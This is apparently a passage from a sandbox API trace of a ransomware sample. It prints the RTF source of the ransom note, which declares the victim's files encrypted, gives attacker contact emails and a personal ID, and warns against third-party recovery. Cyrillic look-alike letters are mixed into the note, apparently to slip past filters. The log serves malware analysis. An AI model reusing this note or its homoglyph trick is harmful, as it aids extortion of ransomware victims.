d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 